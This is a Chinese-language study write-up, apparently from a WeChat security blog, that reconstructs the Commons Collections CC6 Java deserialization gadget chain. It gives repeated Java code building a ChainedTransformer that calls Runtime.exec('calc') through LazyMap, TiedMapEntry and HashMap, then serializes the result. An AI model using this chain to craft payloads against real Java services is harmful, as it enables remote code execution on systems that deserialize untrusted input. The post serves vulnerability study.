jdk8u71之后,CC1链就不能⽤了,在ysoserial⾥,CC6链算是⽐较通⽤的利⽤链了,主要就是⾼版本兼容
下面就简单的跟进一下CC6这条利用链,如有不对的地方,请指教。
commons-collections-one 讲过 LazyMap 这里回顾一下。
package org.six;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Six {
public static void main(String[] args) {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
lazymap.get("aaaa");
}
}
get 方法中 如果key不存在是就会走到 transform方法
查找get方法调用点, 找到 TiedMapEntry 类包 org.apache.commons.collections.keyvalue
进入TiedMapEntry 类中
TiedMapEntry 接口继承自 Serializable Map.Entry
其中 TiedMapEntry 构造器可以传入 map (map)可控
继续往下面走
getValue() 方法中 发现其 直接return this.map.get
当map 中传入 上诉 Transforms 这个数组时就会弹出计算器
package org.six;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Six {
public static void main(String[] args) {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaaa");
tiedMapEntry.getValue();
}
}
继续往下面走 发现 hashcode方法也会调用到 getValue
package org.six;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Six {
public static void main(String[] args) {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaaa");
tiedMapEntry.hashCode();
}
}
调用HashMap 方法的时候,在HashMap 里面有调用到hashcode这个方法
进入hash 方法
当传入的key为 TiedMapEntry类时,就会调用到里面的hashcode方法
package org.six;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.util.resources.cldr.az.CalendarData_az_Latn_AZ;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class Six {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap(),new ConstantTransformer("hello"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
tiedMapEntry.getValue();
HashMap hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"123");
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap,chainedTransformer);
Seria s = new Seria();
s.seria(hashmap);
}
}
这里通过反射找到factory ,并把Map改变为 lazymap ,把chainedTransformer 放进去
但是这里也不会弹出计算机,断点跟进。
调用到hashcode方法
进入 getValue
进入到get方法
这里!this.map.containsKey(key) 为false 那么就是找到了这个key ,这个key 为null
删除key是否能达到我们的目的
代码尝试
删除 lazymap, 中null这个键值
代码如下
package org.six;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Six {
public static void main(String[] args) throws Exception {
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> lazymap = LazyMap.decorate(new HashMap(),new ConstantTransformer("hello"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
tiedMapEntry.getValue();
HashMap hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"123");
lazymap.remove(null);
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap,chainedTransformer);
Seria s = new Seria();
s.seria(hashmap);
}
}
package org.example;
import java.io.*;
public class Seria {
public void seria(Object obj) throws Exception{
ObjectOutputStream OutputStream = new ObjectOutputStream(new FileOutputStream("test.txt"));
OutputStream.writeObject(obj);
OutputStream.close();
}
public void unseria() throws Exception{
ObjectInputStream input = new ObjectInputStream(new FileInputStream("test.txt"));
input.readObject();
}
}
原文始发于微信公众号(小黑说安全):学习yso之分析CC6链<=3.2.1(续)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论